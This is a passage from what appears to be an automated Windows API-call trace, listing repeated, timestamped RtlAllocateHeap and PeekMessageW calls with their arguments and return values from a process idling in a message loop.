Flags=0x0, Size=0x8) returned 0xeaf398 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0137.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.555] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec510 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.556] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.556] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.557] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0137.558] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.558] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0137.558] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.558] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.558] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0137.558] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.558] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.574] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.574] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.574] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.574] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0137.588] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.615] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.615] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0137.616] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.616] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0137.616] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.616] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0137.616] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.616] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0137.616] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.616] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.616] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.617] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.618] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.619] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] 